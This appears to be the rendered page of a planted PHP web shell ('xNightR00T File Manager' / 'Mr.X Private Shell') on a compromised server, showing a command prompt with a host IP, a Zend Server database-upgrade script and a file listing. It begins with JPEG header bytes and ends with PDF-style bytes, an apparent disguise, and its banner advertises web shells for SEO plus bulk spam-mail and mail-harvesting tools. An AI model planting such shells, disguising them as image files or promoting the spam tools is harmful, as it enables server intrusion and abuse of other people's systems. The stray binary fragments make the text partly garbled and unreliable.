xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

require_once dirname(__FILE__) . "/zs_component_upgrader.php";

class CodeTracingDBHandler extends ZSComponentUpgrader {


	protected function getSqliteDbName($version = "6.0.0") {
		if ($version == "5.6.0") {
			return "monitor_codetracing";
		} else {
			return "codetracing.db";
		}
	}

	protected function getMysqlSqlFilenames() {
		return array("mysql_create_monitor_db.sql");
	}

	protected function getSqliteSqlFilenames() {
		return array("create_monitor_tracing_db.sql");
	}

	public function getComponent() { return "tracing"; }

	public function getSchemaVersion() { return "2019.0.0"; }

	public function getMysqlSchemaVersion() {
		$dbh = $this->getMySqlDbh();
		 $res = $dbh->query("SELECT property_value FROM schema_properties WHERE property = 'TRACING_SCHEMA_VERSION'")->fetchAll();
		foreach ($res as $row) {
			return $row['property_value'];
		}

		return false;
	}

	public function getSqliteSchemaVersion() {
		$dbCurrentVersion = "";
		try {
			$dbh = $this->getSqliteDbh();
			$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
			foreach ($dbh->query("SELECT value FROM tracing_properties where name='version'") as $row) {
				$dbCurrentVersion = $row['value'];
			}
		}
		catch (Exception $ex) {

		}
		message("Found sqlite current version $dbCurrentVersion");

		return $this->getParsedVersionString($dbCurrentVersion);
	}

	public function setSqliteSchemaVersion($dbh, $version) {
		$dbh->exec("UPDATE tracing_properties set value='{$version}' where name='version'");
		message("Setting sqlite current version $version");
	}

	public function setMysqlSchemaVersion($dbh, $version) {
		$dbh->exec("REPLACE INTO schema_properties (property, property_value) VALUES('TRACING_SCHEMA_VERSION', '{$version}')");
	}

	/**
	 * @param \PDO $dbh
	 * @param boolean $isSqlite
	 */
	protected function upgradeTo91($dbh, $isSqlite) {
		message("Upgrading CodeTracing Database to 9.1");
		try {
			$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
			message("upgrade detected " . ($isSqlite ? "SQLite" : "MySQL") .  ", fixing `trace_type` table");
			$dbh->exec("ALTER TABLE trace_files ADD COLUMN `trace_type` INTEGER NOT NULL DEFAULT 0");
		} catch(\Exception $e) {
			message("Nothing to be done");
		}
	}

	protected function upgradeSqlite() {

		$this->copySqliteFromPreviousVersions();

		$dbh = $this->getSqliteDbh();
		$this->upgradeTo91($dbh, true);
	}

	protected function upgradeMysql() {
		message("Upgrading CodeTracing Database to (MySQL)...");
		$dbh = $this->getMySqlDbh();
		$this->upgradeTo91($dbh, false);
	}

	public function upgrade() {
		$this->upgradeSqlite();

		if ($this->isClusterUpgrade()) {
			$this->upgradeMysql();
		}
	}
}


class TracingDbCreator_2019_0_0 extends CodeTracingDBHandler
{
	const SCHEMA_VERSION = "2019.0.0";

	public function getSchemaVersion() { return self::SCHEMA_VERSION; }

	public function upgrade() {
		$this->upgradeSqlite();

		if ($this->isClusterUpgrade()) {
			$this->upgradeMysql();
		}
	}

	public function upgradeSqlite() {

		$this->copySqliteFromPreviousVersions();

		message("Upgrading CodeTracing SQLITE schema to " . self::SCHEMA_VERSION);
		$dbh = $this->getSqliteDbh();
		$dbh->exec('
		CREATE TABLE IF NOT EXISTS tracing_properties (
				name VARCHAR(100) NOT NULL PRIMARY KEY,
				value VARCHAR(1024) UNIQUE
				);
		');
		$this->setSqliteSchemaVersion($dbh, self::SCHEMA_VERSION );
	}

	public function upgradeMysql() {
		message("Upgrading CodeTracing MYSQL schema to " . self::SCHEMA_VERSION);
		$dbh = $this->getMySqlDbh();
		$this->setMysqlSchemaVersion($dbh, self::SCHEMA_VERSION);
	}
}
?>

Filemanager

Name Type Size Permission Actions
azure-plugins Folder 0755
minify Folder 0755
plugins Folder 0755
zray-cleanup-scripts Folder 0755
devbar_footer.html File 18.69 KB 0644
devbar_footer_azure.html File 16.58 KB 0644
devbar_footer_sa.html File 16.54 KB 0644
devbar_header.html File 1.37 KB 0644
zend_apc_wrapper.php File 2.01 KB 0644
zend_modify_vhost.php File 26.11 KB 0644
zs_apm_db_handler.php File 3.59 KB 0644
zs_component_upgrader.php File 17.99 KB 0644
zs_create_databases.php File 7.69 KB 0644
zs_db_settings.php File 2.15 KB 0644
zs_deployment_db_handler.php File 20.77 KB 0644
zs_devbar_db_handler.php File 3.22 KB 0644
zs_gui_db_handler.php File 15.35 KB 0644
zs_ini_parser.php File 14.91 KB 0644
zs_jq_db_handler.php File 11.81 KB 0644
zs_maintenance.php File 31.99 KB 0644
zs_merge_ini.php File 9.37 KB 0644
zs_monitor_2019_0_0_db_handler.php File 2.83 KB 0644
zs_monitor_db_handler.php File 5.44 KB 0644
zs_optimize_tables.php File 2.02 KB 0644
zs_pagecache_db_handler.php File 2.61 KB 0644
zs_pagecache_purge_db_handler.php File 1.57 KB 0644
zs_product_definitions.php File 65 B 0644
zs_statistics_db_handler.php File 9.05 KB 0644
zs_statsd_db_handler.php File 2.13 KB 0644
zs_tracing_db_handler.php File 3.53 KB 0644
zs_zsd_db_handler.php File 43.89 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1